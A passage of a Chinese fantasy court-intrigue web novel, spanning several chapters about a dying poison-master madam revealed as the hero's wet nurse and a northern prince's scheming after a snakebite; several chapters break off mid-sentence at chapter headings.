看到老鸨说起她碎碎念的儿子时,仍是有些入神的,于是,那侍卫眼睛一转,灵光一闪道“你并没有失去你的孩子,永远都不会,他正平平安安地好好的在南安老家里,等着你回去团聚呢?你带着冰美人跟我回去,我们的大计眼看着马上就要成了,我们回去马上就可以起兵前往南安国了。你马上便能回国了,可千万不能在这个节骨眼儿上,一时犯了糊涂,前功尽弃了

啊……”

侍卫连蒙带骗,威逼利诱的话似是还没完全说完,老鸨却已不再给他说这些话的机会。当即啐了他一口,狠狠道“呸...骗子,魔鬼,你们别想再继续欺骗利用我了。我之所以会有今天,全都是拜你们所赐。你以为如今这样的我,还回的去吗?我原本只是个酷爱医术的医痴,打算毕生将热衷于医术,医病救人无数;而今,我却成了一个双手沾满了鲜血的恶魔毒妇;曾经的我,是那么的骄傲,可如今,却是如此的讽刺。一个人,果然可以变成她最讨厌的样子……这一切的一切,都是我应得的报应,我认了。而你们……总有一天,你们也一定会得到应有的惩罚,你们一定会不得好死的,你们等着。冰美人,你们谁都别想得到,我今天就毁了它…我...我……”

老鸨一边情绪越来越激动地说着,一边四下里急急寻找着退路。

可此时,除了柳树林边上的那条往北流去的滔滔大河,她的周围已经都被拓跋泽的人围成了一圈,将她困的死死的。

“你已经无路可逃了,今天就算是不惜杀了你,我也一定要你将冰美人交出来。来人...给我上。”见其软硬兼不吃,侍卫便伸出手做了个手势,亦结束了所有的谈判。

于是,只见众手下便举起明晃晃的利剑,一起恶狠狠的朝着老鸨的身边慢慢试探着踱步过去。

冰美人蛊乃为刚刚炼制而成,尚未来得及尝试着施展过,她的心里并没有能完全掌控它的把握,自是不敢轻易将它放出,唯怕其一旦失控飞走,后果将不堪设想。

她必须先找个可以隐蔽自己的地方做掩护,方才敢打开盖子,将其召唤出来,可眼下实在是找不出这样合适的地方来。

眼看着这些北烈走狗亦就要气势汹汹不顾一切地攻上前来抢夺了,无奈之下,她迅速一个转身,便毫不犹豫的朝着柳树林里那条大河的北边尽头狂奔而去,想看看那水天一色之处是否还能争取到一线机会。

就在她刚转身奔出去两步,易君浩正摩拳擦掌,欲起身来带人从其所隐藏的西面的树丛里杀出去时,突闻得从众人面前唯一的那条林间小道上,由南而至,渐渐传来一阵越来越清晰的“哒哒哒...”连续不断的马蹄疾驰的声音。

这时,除了老鸨急着寻找地方,毁灭冰美人蛊继续逃窜以外,其他所有人都顿时停下了手脚上的动作,定睛向着声音传来的地方望去。

待到来人慢慢逼近,易君浩终于看清楚,那来人正是带着一大队人马直奔赶过来的程良。

顿时,拓跋泽的近身侍卫亦认出来这位大名鼎鼎的秦王副将,于是伸手做出了一个手势,其手下便迅速散了开来排成

第一百六十六章:倦“鸟”归巢

程良呵斥道“你们这帮没出息的家伙,自己不努力,整天还想着天上掉馅饼的美事儿,难道你们就不怕这馅饼掉下来把你们砸死么?”

那手下接着又喜道“这样的馅饼儿,就算把属下们砸死一千一万次,属下也甘之如饴!”

程良怒道“好了,怎么还没完没了了,待办完了这次的差,回到城东王府里,本将军再与你们好好理论理论这天上馅饼儿的事儿。现在……得先把这帮北烈敌寇给本将军端了。”

“是”众将领命后,即刻转身朝着那正排成一字战战兢兢着,等待拼死应战的北烈穷寇走去……

易君浩紧跟其后,看着老鸨飞奔到河的尽头,喘息了一阵。自始至终却唯独只有那两只手,紧紧地抱着那只她视如生命的琉璃瓶。

可显然,这河的尽头便只有万丈深渊,并没有她期待之中的山洞等地可以借用。她失望的眼睛直勾勾地看着眼前的大瀑布直泻而下看不到底,此刻已然走投无路。

正当她徘徊在瀑布顶端的边儿上不知所措时,易君浩出声朝其劝道“喂,前面已经无路可走了,快回头吧!”

老鸨闻声迅速一个急转身,随即看了他一眼,紧跟着又朝其身后打量了一番,表情似是有些惊讶,问道“你怎么一个人跟来了,其他人呢?你难道就不怕我手里的毒么?”

“你...果真是南安人么?”易君浩并没有理她,只自顾自地开口欲亲自确认其身份道。

“‘南安’?确实让人‘难安’啊!”老鸨有些出神地叹道。

“本公子也是南安国人,你有什么事可以同我讲!”易君浩道。

老鸨顿时瞪大了眼睛,看着易君浩的眼睛惊道“你真是南安国人?”

易君浩轻笑一声,却并没有直接回答她的问题“你方才所说的你手中的毒,可是冰美人蛊毒么?本公子自从在南安出生之后,还没学会走路,便已对药毒之术颇感兴趣。如今,已经长这么大了,倒还真没怕过什么毒。要不,你把这毒施于本公子身上看看,本公子倒还真想见识见识,这传说中的冰美人蛊毒是否真如传闻中所说的那样,乃天下至毒之毒呢?”

老鸨一听这话,方才仔仔细细地上下一边打量着眼前虽打扮妖艳,但一看便是个气度不凡的翩翩公子,心里顿时惊道“此人竟知道冰美人蛊毒,说话间隐隐还带着点儿南安口音,看来他说自己是南安国人应该不假。而且,他还应该是个顶级毒蛊师之类的高手。方才她还奢望着,死之前能再见一见故国南安的人,这会儿一转眼便真的出现了这样的一个人。总算,老天待她还算不薄。如此,她也真是‘死而无憾’了。”

似是心里也已经知足了,老鸨有些疑惑,便

问他“难道,你也是拓跋泽的人,我怎么从来都没有见过你?”

易君浩闻之冷冷地哼了一声,怒道“拓跋泽?无耻小人,这世上什么钱不好赚,竟赚女人身子的钱,本公子怎会与这种人为伍?”

老鸨一时间惊愣住了,想了想,又言“既不是北烈拓跋泽的人?难道……你是西秦秦王的人?那战神秦王英勇神武、又受万民爱戴,倒也算是个正人君子。追随他,比追随拓跋泽强多了。”

易君浩笑着摇了摇头“你不要再瞎猜了,灵空大陆四国,本公子谁的人都不是。这世上的所有人和所有事,本公子亦一点儿也不感兴趣。若不是为了本公子在这个世上唯独所喜欢的女子,今日本公子也万万不会出现在这里?”

“为了喜欢的女子?原来公子是个多情的人。真好,人这一辈子,能有个喜欢的人,是多么美好的事儿啊!”老鸨羡慕道。

“每个人的一生,心里不都会有那样的一个人么,如此平凡简单的事情,很难实现么?”易君浩不以为然道。

“哼,是啊。就是这么平凡简单的事,可对于一些人,就是那么遥不可及。”老鸨痴痴地说道。

易君浩看她行为举止怪怪的,似是三心二意、又似痴痴愣愣、还恍若失魂落魄。便欲安抚使其冷静下来,问道“你…究竟是为了什么,竟忍心离开故土南安,过起这背井离乡的凄苦生活的?”

老鸨已经记不起自己曾经跟多少人提起过她这段伤心的过去了,每每提起,心中都激动不已。

然临死之际,她竟突然不想再说了,心里竟也能平静似水,因为她知道自己这么多年来,不该只活在仇恨当中。

她应该想,她一直碎碎念着的儿子,她的浩儿,以后会成为南安的下一代国君。

思及此,她又能恨南安的什么呢?

恨她的亲姐姐?若没有她多年以来的悉心照料与教导,浩儿怎会有今天?

恨南安国君?若没有他的疼爱、认可和器重,浩儿又怎会成为南安国最尊贵的太子,皇位的继承人呢?

所以,她不该再恨、不必再说、更不能再怨……

于是,老鸨笑了,这笑,她笑得很真诚,因为此刻她的心里已经真正释然了,方只开口道“过去的,都已经过去了。离开南安的这些年,犹如做了一场梦,一场很长很长的梦。这么多年过去了,我也累了,不想再颠沛流离,任人摆布,继续过着逃亡不定的日子了。就和此时我手里的这只冰美人一样,该是倦鸟归巢的时候了。”

 

第一百六十七章:原来是你

易君浩揽着老鸨,无奈道“早知今日,何必当初。你自己种的因,必得由你自己来结束和承担这样的果。”

老鸨似是已无力再多说些什么,只艰难地从身上掏出来一个明黄色的香囊放到易君浩的手里,嘴巴虚弱地张张合合着。

易君浩一见,便似本能地俯身下去将一只耳朵贴了过去到她的唇边,想要听清楚她的临终遗言。

就在这时,老鸨忽然瞥见了正俯身下来的易君浩,暗藏在他耳朵后面的那颗她一辈子熟悉的不能再熟悉的位置上的那颗红痣,顿时瞪大了眼睛惊诧极了。

“你想说什么?”易君浩俯身下去在其耳畔轻声地问。

然老鸨却突然间伸手,奋起自己此时残余的一切最大的力量,紧紧地抓住易君浩的一边肩膀,极虚弱又激动地道“浩儿,我的儿,我的浩儿……”

易君浩俯身听了许久,他确定自己已经尽力了,在听完这些话之后,缓缓起身来离开了她的耳旁。老鸨说话的声音太过虚弱,根本不足以他清清楚楚地确认自己所听。

忽然,他那双温暖迷人的桃花眼望向了正紧握在手里的那只明黄色香囊,想要试着再次确认眼前这个临死之人的遗言,开口说道“你可是说,这个香囊是要给...昊儿,对么?昊儿是谁,是个男孩儿么,他是你的儿子?还是你的其他什么人呢?他在南安?”

然老鸨却早已不再做声回应他,似是死不瞑目般地一直凝视着他,已停止了呼吸,唯独那张煞白的脸上却挂满了一脸满足的笑意,似是此生已再了无遗憾。

易君浩许久闻不见其声,方才转眼从香囊移向了她的眼睛,这才发现老鸨已然离世。

一时间,不知为何,他竟突然有些莫名的悲伤起来。只见他似是极为惋惜地轻叹口气,接着缓缓伸手帮她合上了双眼。信誓旦旦道“放心吧!这个香囊,本公子一定会想办法帮你找到主人的。”

然话音刚落,顿时间,他却又一次被眼前如同一场不可思议的华丽尸变一般,重新再现出来的一张脸惊呆了。

尽管冰美人蛊破除之后,对炼蛊人的这场惊变,他心里事先早已经有所铺垫,甚至说,他应该是有些期待的,这样恶毒的一个妇人,究竟年轻的时候是副什么模样?只见他瞬间瞪大了眼睛难以置信此时的亲眼所见“怎么会,怎么会是你……”半晌后,终于醒过神来口中吃惊道。

确实如易君浩所言,眼前已经确实断了气的老鸨,果真褪去了一身臃肿之态和那张饱经风霜,被岁月无情雕琢过的容颜。

她的脸和曼妙身姿真的回到了一个人,生前最美好的青春年华,那十八岁的水灵灵模样儿。

可这张脸,明明正是易君浩一辈子也不会忘

记,是他那世间最温柔善良的奶娘的脸啊,他此时心中可谓是又惊又喜。

原来,万娇阁里的老鸨,来自南安国的顶级毒蛊师,正是他已许久未见了的奶娘。

顿时间,他似是想明白了这些年所发生在她身上的这无情的一切。

当年,正是因为他父王和母后的原因,他的奶娘才会满含着一腔怨恨背井离乡,离开了南安故国。

仇恨将她日日夜夜蹂躏着,一直到她遇上了心术不正,阴险狡诈的拓跋泽,并受其蛊惑和利用,一步错步步错,终变成今天这个样子,直至走投无路,客死他乡。

易君浩默默地凝视着她的脸,她的脸色饱满红润,看起来就像是睡着了一般。

易君浩一只手紧紧握起手中的香囊,另一手则将老鸨拥紧在怀里,让其靠在距离自己心脏最近的那边,坚实而又温暖的胸膛间。

他缓缓闭上眼睛,忽见两行迟到的眼泪顺着眼角静静地流了下来。

他就这样静静地拥着她,沐浴在难得的一片暖阳之中,金色的阳光透过树荫里的间隙洒在他们的身上,似是又将他们带回到了他小的时候,奶娘温柔的抱着她,在院子里晒太阳,逗他玩儿,嘴里哼唱着那支奶娘只为他一人所编唱的歌谣。

易君浩闭着眼睛不禁流着泪轻声哼唱了起来“小娃娃,圆又圆,多食饭,快长大,娶个女,进家门。天地间,生万物,万物生,长百草。我郎情,你妾意,我救人,你制药,做一对,人间活菩萨……”

半晌后,他声音哽咽着嘴里连连道歉“奶娘,对不起,对不起,这一切都是浩儿的错,可受苦的却是你……”

他的心里此时五味杂陈,方才她虽就他所问的关于她过去的一切守口如瓶,只字都不愿再提,可他却没能再多问一句,哪怕就再多一句,她可能便不会如此绝望地离开这个世界。

此时此刻,易君浩心想:在她生命的最后一刻,她可知,陪在她身旁,送她离世的人,是她的浩儿,我呢?

……

不远处的柳树林里,刀光剑影,经过一场激烈的厮杀之后,所有北烈流寇已都被程良的人马顺利地通通拿下。

只剩那侍卫头领与程良俩人,依旧双剑紧握于手,连连相击着。俩人剑法都很伶俐,敏捷,都全力相博。双剑相击,其声嗡嗡作响,剑光霍霍,此时已不知过了多少个回合。

突然,那头领似是还尚未反应过来,只听得铮的一声响,程良便已经以自己

第一百六十八章:山荷叶

矮侍卫惋惜道“那这样一来,那个衣上云不就被咱们殿下给诓了么?当初,她可是为了换那小娘子,才答应跟咱们回北烈的啊。看她那脾性,一个普通的弱女子哪里胆敢只身入虎穴,做出这些不怕死惊人的事来。她可不像是个软柿子哇。这日后,要是被她发现了,那还了得,指不定还会发生什么样的事来呢?”

说完,俩个人便一起忧心地摇了摇头,又深叹口气。

而一直躲在一旁认真听着的衣上云,随即立刻皱起那两道本极为好看的眉头,握起双拳,牙齿咬的咯咯作响。

“什么,难道他没有放了玉娘,他竟是在骗我?”衣上云顿时心里惊讶极了,也愤怒极了的喃喃道。

但她依旧故作着平静,强忍着心头的三丈怒火,整理好情绪,方才踱步缓缓走了出去。

“衣姑娘!”两名侍卫看见衣上云走过来,连忙收声恭敬地朝其打招呼道。

衣上云抿嘴对着俩人微笑着点点头,似是方才的一切都没发生过一般,只直奔向拓跋泽的人马而去。

“这会儿,身子可好些了?”拓跋泽一见衣上云走近,便开口关切道。

衣上云依旧佯装着面色平静地道“已经好多了。”

“既然如此,那我们不妨就快点儿上马启程赶路吧,希望天黑之前能翻过这座山,否则到了夜里怕是又冷又不安全了。”拓跋泽催促着道。

然衣上云听了这话,却飞快地出声阻止道“慢,我...我饿了。从昨晚被你们关起来到现在,本姑娘还滴水未进呢?”

拓跋泽吃惊的问“昨夜,没有人给你们送饭么?”

“本姑娘根本连个鬼都没见到,何来饭吃?不信,你现在就破开本姑娘的胃来查验查验,看本姑娘所说究竟是真的还是造谣?”衣上云愤怒道。

拓跋泽太意外,心想难道是他的近身侍卫忘记了交待看守密室的人么?这个祖宗得来不易,可千万不能有半点闪失啊。思及此,他轻叹了口气,连忙下令道“原地休息。”

刚一得令,便有侍卫赶忙送上来干粮和水壶,递到衣上云的面前。

衣上云伸手一接过,便走到一旁不远处,找了块儿岩石,方才缓缓坐了下来,一边补充着自身体力,一边似是在沉思着些什么。

拓跋泽虽远远的站着,然目光却一刻都不曾离开衣上云的身上。半晌后,他缓缓踱步过来挨着她身旁坐了下来。

衣上云此时只自顾自入神的沉思着些什么,时不时用手撕下来一片片干粮,又似机械似的进入下一道工序,缓缓塞入自己的口中,再反反复复地咀嚼起来。时而,也会拿起水壶将干粮冲下肚去。

所以,她根本就没有发现易君浩过来她身边坐。

忽然,拓跋泽出声惊

扰了她的思绪,问她“你……在想什么呢?”

闻声,衣上云方才急急回过神来,皱紧眉头转过脸去向拓跋泽问“拓跋泽,你……我……没想什么。”

然话已到嘴边,想了想却终究还是吞了下去。她不明白,为什么她已经答应了他提出的所有要求,甚至她都已下定决心只身一人跟随他去到对自己来说,另一个陌生极了的国度。

可是,他却还是不愿意放过玉娘。为什么他会如此地言而无信?

拓跋泽闻此,忽望着眼前温暖的阳光,转念道“今天天气不错,本皇子心情也好。这会儿,突然想在这里眯一会儿了,你补充歇息够了,记得叫醒本皇子哈!”

说完,他便双手向后环抱住自己的后脑勺,在那大石头上躺了下来。

然衣上云却尚还深陷在自己那片失望透了的思绪之中。

不知过了多久,忽见拓跋泽似是梦魇般地迅速坐起身来,却用一只手紧紧悟着后脖颈处。

衣上云亦被惊的手中方才吃下了没到一角的干粮,还有一小片正欲入口的,通通都掉在了地上的一层厚厚的泥土上,竟然还有几堆鸟屎。

此刻,她本就心间窝着一大团莫名其妙地穿越过来所遇到的一大堆破事儿,尤其是碰到他这么一个言而无信诓骗自己的无耻之徒。

可正在她想办法怎样对付他时,却又饿着肚子发生了眼前这一幕来。

她低头一见,此情此景,瞬间让她恶心又厌恶到了极点。正欲破口大骂,却忽然发现他顿然坐了起来并非是梦魇,只见他另一只胳膊用力一甩,竟有一条毒蛇嘶嘶地吐着红红的舌头,迅速朝俩人旁边的深草丛里逃窜了去。

这时,衣上云方才迅速地回神看了一眼拓跋泽所悟的部位,道“你被毒蛇咬了?”

拓跋泽疼痛难忍,表情有些狰狞,还没来得及言语应她,衣上云便稍作迟疑,伸手一把将他转过了身去,让其背对着自己,随即附上自己两只纤细嫩白的玉手在他的后颈上,接着扯下遮在脸上的纯白面巾,毫不犹豫地一口一口吸允起那迅速红肿起来的伤处里的毒血来。

而当她一触到拓跋泽的皮肤,一种与他以往所有与女子的亲密接触感觉都不同的酥麻感和舒服感齐涌而上,使他整个人都瞬间僵硬了。

他是一人之下万人之上尊贵无比的一国皇子,这天下所有的女人,只要他愿意,只要他想,便唾手可得。

而眼前这种感觉,却是他从来都没有过的。

他忽然发现,似乎,他的心里是第一次真心的喜欢上了一个女子,这个女子与他之前所拥有的所有女人都要不

第一百六十九章:天无绝人之路

“真倒霉,我这是上辈子,上上辈子,上上上辈子做了什么孽了,怎么会跑到这里来,发生这种事,遇到这群人?他,明明是个十恶不赦的大坏人,我却还要冒着生命危险,帮他吸出蛇毒,我真是……唉”衣上云一边走,一边随手带了一片草叶,将其一段段的扯断。可却似仍不解气,她又驻足停了下来狠狠跺起脚来,似是抓狂懊恼极了。

此时,轩辕翰带领着数名侍卫一路策马急驰着不停赶路,终于到达了北山脚下。

眼看着饶过了这座山,便可以直上西秦直达北烈的西北古道,或许,拓跋泽正带着衣上云就在他们前方的某个位置。

然此时,望着眼前这个他一生都抹不去对其恐惧的地方,他不禁勒马缓缓停了下来,眼睛冷冷的扫了一圈十几年后这里周围的变化之后,随即翻身下了马来,踱步走到山脚下路边儿上的一块岩石上坐了下来,深深吐了口气。

就在衣上云前脚刚刚离开之后,侍卫群里方才那名满脸脸色煞白,紧咬着嘴唇似是仍在艰难地强撑的男子一走上前来,便在拓跋泽的面前“扑通”一声,重重地跪了下来。原来此人便是方才因使诈,通过对程良攻其不备方才得以脱身的拓跋泽的近身侍卫。

只见他俯首蹙眉小心翼翼,表情异常沉重地对拓跋泽禀道“殿下,属下无能,请殿下责罚。我们留在万娇阁的人……被杀的被杀,被俘虏的被俘虏。最后,只有属下一人逃了出来。”

一时间,身后围着的仅剩的几名侍卫听到此噩耗,纷纷面面相觑着,惊呆了。

拓跋泽亦是心里顿时一惊,方才还挂在嘴角的笑容立刻烟消云散。随即抬眼一怔看向那尚且还来不及包扎,一直在用一只手捂着正在滴血的伤口,怯怯地跪在他面前瑟瑟发抖的自己的近身侍卫,猛站起身来,怒道“什么?”

稍作迟疑后,他又开口着急地问“那老鸨和冰美人呢?”

近身侍卫咬了咬嘴唇,心一横,屏住呼吸道“西秦秦王逼的实在太紧,手段又太过高明。当时不知为何,兰香那个贱人竟也跟秦王的人混在了一起,还胆敢同那些人一起回到万娇阁来,不知道要做什么?”

“兰香,她跟秦王的人在一起?”拓跋泽亦疑惑道。

听到拓跋泽说话的口气有所好转,侍卫这才敢微微抬起头来,用力将其点了点。

可一想到在追击老鸨的途中,万娇阁里的手下便好不容易艰难地传来消息说毒杀兰香的计划失败,暗室被发现,玉娘亦已被成功解救,万娇阁里的北烈分子已被彻底清查等一连串的坏消息后,他怕拓跋泽随后将对他一一质问,随即灵光一闪,想到了一个替自己开脱罪责的好理由。

便自夸自大吹

嘘狠狠说道“不管那贱人想做什么,这次属下都不会再失手放过她。可就在属下正准备在万娇阁里亲手了结这个贱人,将其碎尸万段时,却意外地发现老鸨竟也在此时将冰美人蛊炼成了。所以,属下就让老鸨立刻给那西秦秦王施毒。可不知兰香那个贱人对那老鸨说了些什么,那老鸨就像魔怔了似的,再也听不进去属下半句话。属下怕她对冰美人不利,心里一急,便想着先抢夺下那蛊,将其保护好,再慢慢与她谈判。谁料,她却死都不肯放手。于是,我们便激烈地争执起来,并一起闯出了秦王布在万娇阁外面的防守。可也正因如此,才使得万娇阁里群龙无首,被那秦王乘机翻了个底朝天。”

“那最后究竟如何了,冰美人到底是否完好无损?”拓跋泽急道。

即便此时,侍卫仍然不忘阿谀奉承,甚是侥幸地说“殿下所料果然不假,那老鸨隐藏的好深。不知从哪儿学来的轻功,甚是厉害。属下一路狂追,终于在离这儿不远的柳树林里终于追上了她。若不是她这些年体态变形太过严重,属下怕是定追不上她的。顾忌,她正是为了掩饰自己的功力,方才故意养成今日这副臃肿体态的。”

拓跋泽听了,气的双眼直冒火,一个大踏步过来,以迅雷不及掩耳之势抽出腰间佩剑直指向跪地侍卫的胸口,对其怒斥道:“废物,你没听到本皇子在问你,冰美人到底是否完好无损么?你答非所问,牛头不对马嘴地在说些什么?愚蠢至极的家伙,这么多年了,竟还未看得出那老鸨有武功功底,本皇子怎么会养你这么蠢笨无用的废物。若是连这个都要你后知后觉地来提醒告知,本皇子还不如做一头任人宰割的猪算了。枉我这么多年对你……想必你是真的活得不耐烦了!”拓跋泽气的口不择言,都不愿再与他废话多说下去了。

侍卫一见,面前的这剑尖离胸不过数寸,只须轻轻一送,便会十分稳准地刺入他的心脏,脸上尽露出一片愕然惊慌之色,拓跋泽从来都没有这样拿剑指过他,这次一定是对他愤怒失望至极了才会如此,方才回过神来连连致歉回答其所问道“殿下饶命,殿下饶命,秦王的那个副将今日带来了个陌生面孔。属下听兰香那贱人对老鸨说是她的南安同乡,是特地来万娇阁见她一面的,可不知为何,那老鸨一直想见南安的人,此时却装疯卖傻的并没有见他。那老鸨方才在柳树林里,乘着秦王副将与属下纠缠之际逃向了瀑布边上,那陌生面孔便亦追了上去。可等属下从秦王副将手里逃脱出来,去瀑布边找的时候,却见……见……见……”

“到底见什么,还不快说?”拓跋泽一边朝其怒喝着,一边将手中的剑又瞬间向前逼近



第一百七十章:卑微的李福贵

拓跋泽狠狠地瞪了那侍卫一眼,心里忽然做了一个很重要的决定,南安太子竟然也来西秦了,还先和秦王统一了战线,这可真是天无绝人之路。

一念至此,拓跋泽随即下令手下仅剩的数名残兵败将,道“本皇子突然做了一个决定,那便是…我们暂时不回北烈了。因为,本皇子忽然发现接下来我们有更重要的事情要在西秦做。”

“什么?”日盼夜盼,好不容易盼到了能回国与家人团聚的这一天。可这一声令下,犹如晴天霹雳一般,重重地劈在每个人的脑门之上,众人一时间又面面相觑着愁容满面起来。

山脚下,轩辕翰坐在一块儿岩石上陷入一片深深的沉思当中。

身后的这座山,对于轩辕翰并不陌生。

或许,更应说他会一生铭记。

当年,他还很小的时候,随母妃外出前往城南行宫,正是在这里遇到了那帮凶神恶煞的黑衣蒙面人。

也正是因此,亦让他遇到了那位此生永远都无法回报和忘记的即将临盆的妇人。

为了救他,那妇人就是从他此刻眼前的这北山东面的断崖边上坠入崖底,一尸两命。

而他,却甚至都还未来得及,以后更是无从得知她的姓名。

到如今,他只清清楚楚的记着那妇人从开始到结束,对他仅说过的那短短两句话:

第一句是:“你真的是轩辕翰?”

第二句是:“以后,一定要守护好西秦。”

可即便是今日,当他回忆起当年所发生在这里的这一切时,他仍然会咬紧牙根、瑟瑟发抖着、战战兢兢地恐惧极了。

这是他一辈子都无法弥补的遗憾,亦是他心底最痛的无助和永远都无法抚平的恐惧。

半山腰上,拓跋泽亦独自坐在一块儿山涧岩石上入神地心里独自重新做着盘算。

本以为老鸨的死,让自己这些年处心积虑的付出和经营都付诸于流水,收获甚微。

好不容易,历经艰辛万阻终于寻回了这珍贵的冰美人,又以自己说不清道不明的女子之身,养成了这世间甚是难得的美人血。

想着这一次定要万无一失地直取了那战神秦王的性命,继而彻底踏平占领西秦大地。

可却偏又冒出来一个神秘的奇女子——衣上云。她不但不知鬼不觉的不知以何方法解了这天下至毒且无解的美人血不说,如今就连这极为不易而炼成的冰美人蛊亦被那该死的老鸨亲手给毁了。

这一切的一切,便等于宣告了他:这么多年,精心潜伏在西秦国里,所设计和准备的一切都化为了泡沫。

此时,按照他以往的习惯,他本该恨得咬牙切齿,大发雷霆。又或者以此成为他大开杀戒,狠狠地发泄一通的最佳理由。

可是,当他

意外得知了那南安太子竟与西秦秦王勾结了起来,便立刻命人准备笔墨,俯身在岩石上立马书信一封。

为表其诚意,还准备派人亲自即刻前往南安国一趟,带着自己精心备下的一份“厚礼”,将其代为自己亲手送到那南安国君的手里。

就在他很快书写好密信,备好“厚礼”在内,起身来抬眼欲挑选一个可靠的信差之时,那侍卫连忙起身来恭敬地朝其拱手诚恳乞求,道“殿下可是需要人送信?如今,西秦秦王得知西秦国内潜伏了众多异国细作,便下令命人全城拦截所有信鸽所传递进出的消息。城里到处也都设了关卡,都由秦王轩辕翰自己的亲信把守着,一般人很难出城去。”

稍作停顿,那侍卫信誓旦旦道“恳请殿下再给属下一个将功赎罪的机会,属下一定肝脑涂地不辱使命,誓将此信帮殿下送回国去,亲自交到国君手里,以使国君早日派出援兵,向西秦讨伐。”

“住嘴,你以为这么多年的苦心策划,得到如今这样的结果,本皇子还有脸书信回国向父王求救么?你以为本皇子还会继续相信你么?今天这一切,你可知究竟是谁造成的。毒害兰香……哼,亏你想的出来。就连一个手无缚鸡之力的弱女子也拿不下,你还能做什么?这些年,也只有你调教出来的那些蠢笨至极的手下,才会一直只知道滥用我北烈的毒草,到处奸淫掳掠,无恶不作,你当真以为本皇子对这一切全然不知么?本皇子只是念你们跟着本皇子背井离乡又出生入死,睁一只眼闭一只眼罢了。你可知,此举明显是在四处招摇和暴露我们存在于西秦的真正身份么?还是,你是怕那西秦秦王不知道我北烈细作的潜入,而故意对其所做的暗示呢?本皇子在离开万娇阁之前,怕那老鸨倒戈,毁了那些她这些年来,帮本皇子特意所制的毒。于是,早已经将其全部毒药秘密转移了。你说…你是不是又在用我北烈的毒?”拓跋泽愤怒地看着他的眼睛,朝其怒斥道。

“属下不敢,属下知错了。”侍卫一听,好不容易才敢刚起身来,却又一次被吓得重重跪了回去。一说完,便默默着吞咽下一口口水,再也不敢吱声。

拓跋泽被他气的已不知此时到底该拿他如何是好,只重重地吐了口浊气。随即眼睛扫了一眼其身后的众兵将,看到一个个都目光呆滞,痴痴愣愣着,没有一个精明伶俐之人,无奈地摇了摇头。

最后,他指着那名方才他中蛇毒之时,畏畏缩缩从身上悄悄取出自己备用的解药欲献上的那名矮个儿侍卫,正色道“你…出来。”

那矮侍卫见了即刻转头怯怯地看看周围,一看到大家都将目光投在自己身

第一百七十一章:人有心,而天无意

许久后,待呼声渐渐褪去,拓跋泽方才缓缓踱步到那矮个儿的侍卫面前,拍着他的肩膀问“你叫什么名字?”

侍卫犹犹豫豫着,而一看到拓跋泽坚定不移的眼神,只道“属下贱名,怕污了殿下尊耳……属下...李福贵。”

拓跋泽于是含笑将密信交到他手里,郑重其事又意味深长地说“好,李…福贵,你一定前途无量,本皇子…等着你不辱使命,平安归来。”

“谢殿下。”侍卫说完,便欲转头离去办差。

然拓跋泽却突然出声叫住了他“等一等。”

侍卫闻声急急回头,低声怯怯地问道“不知殿下还有何吩咐?”

拓跋泽随即踱步过去到自己的包袱边儿上,取出了自己新制的一套崭新的锦衣棉袍,再回到福贵的身边,注视着并抚了抚他衣裳上的大大小小的破洞,福贵被这突如其来的盯视看的浑身不自在起来。

拓跋泽开口关切道“把这套新衣换上,里面还有些碎银票,路上可以当盘缠用。”

“这…这可万万使不得啊,属下长这么大了,可从没穿过这样名贵的衣裳。不不不,别说穿,就连摸都未曾摸过的。”侍卫一边慌乱地伸手推辞着,一边极为震惊地道。

“无妨,拿去吧。钱财乃身外之物,你今日,为我北烈国所做的一切,本皇子感激不尽。这只不过是区区一套衣裳和些散钱而已,又有何不可?”拓跋泽似是很真诚地感激说道。

然侍卫指了指自己的身体,仍坚持拒绝着“殿下,您瞧属下这个头儿,也尚还不足五尺,您这七尺之躯的衣装,属下实在是无福消受,您就拿回去吧。”

拓跋泽闻之,心中顿时一惊,随即又连忙取出衣裳里裹着的一叠银票,朝其再次推过去道“好吧,是本皇子疏忽大意了。既然如此,这衣裳本皇子就收回了,可这些银票你一定得带着,留着路上自己另外重新置办一套合适的换上。一个人出门在外,也总要留有些钱财傍身的。”

福贵闻此,顾忌到自己每月都是按时将其微薄的所得,尽数寄给北烈家中的母亲和妹妹,确实身无分文。方才小心翼翼地将拓跋泽手里最上面的那张,崭新的一百两的银票颤颤巍巍地抽了出来目不转睛地看着,他怕是一辈子都没见过这么多的钱。

拓跋泽一见,忙将手中剩余的所有同样面额的数张银票通通都塞入到其手中,不耐烦地道“莫再与本皇子推辞了,到了南安,你要见的可是那至高无上的南安国君。想必,定少不了要打点那些大神和小鬼之类的,少不了用银票的地方,只怕这些还远远不够呢。如果你实在觉得心里过意不去,有什么不妥的话,要不……你就拿这瓶药来跟本皇子换吧,就当本皇子买了,这

样总行了吧?!”

拓跋泽说着,便从福贵身上摸出来了那个装着解毒药的白瓷瓶来,拿在手中饶有兴致地把玩起来。

福贵看着药瓶,顿时惊慌不舍,心疼不已,可又胆小懦弱地不敢抢回,嘴巴更是不会说话,那不是别人,而是北烈皇族里最心狠手辣的大皇子殿下啊!

于是,他只能默默地隐忍着,眼睁睁看着那个自己视若珍宝的瓶子就这样落入拓跋泽之手。

其实,拓跋泽早就看出了那侍卫对这只看起来似是极为普通的一只白色小瓷瓶甚是看重,怕是定对他有着什么特殊意义。于是,他便设计了方才所发生的一切。

一边,确实是给他盘缠,以便能顺利地完成任务。另一边,也是想留个能牵制住他的什么东西,怕他倒戈。拓跋泽,可一向都是个从来都不做赔了夫人又折兵的买卖的主儿。

“好吧,那属下就当此瓶是暂时交于殿下之处抵押保管的。待属下不辱使命,顺利完成任务回来的时候,还请殿下能将此瓶归还属下。因为这是属下的老母亲亲手为属下配置的解毒药,是属下用来赌物思人的唯一念想。”半晌后,福贵回过神来只得无奈地道。

果然不出本皇子所料,这白色小瓷瓶对他确实意义非凡,拓跋泽笑道“当然,本皇子一定会把它像保护本皇子的性命一般,替你好好收着,视若珍宝的。”

福贵依依不舍地凝视着拓跋泽手中的白色瓷瓶,最后深吸口气,似是气呼呼地转头急急过去牵了马,便再头也不回地沿着下山的路离去。

其实,他知道拓跋泽要这个瓶子想干什么。他只是气他根本没必要这么做。

福贵一家世世代代都生活在北烈国,而且父亲死的时候他还小,并不能得知父亲究竟是被哪国将士所杀,他还什么都不懂。

因此,除了北烈,他认为其他国家都是他的杀父仇人。为了自己能够活着,他可能不会冒着生命危险去杀他们,可也绝对不会背叛自己的国家。

小的时候,他恨北烈,可能是因为他不明白,为什么他们要强行抓他父亲去参军。

可长大了,看到自己的同胞国吃不饱穿不暖,饱受战争的硝烟所带来的苦痛,于是,他渐渐意识到了保家卫国的重要性。

第一百七十二章:她,或许是“贵”人娘娘

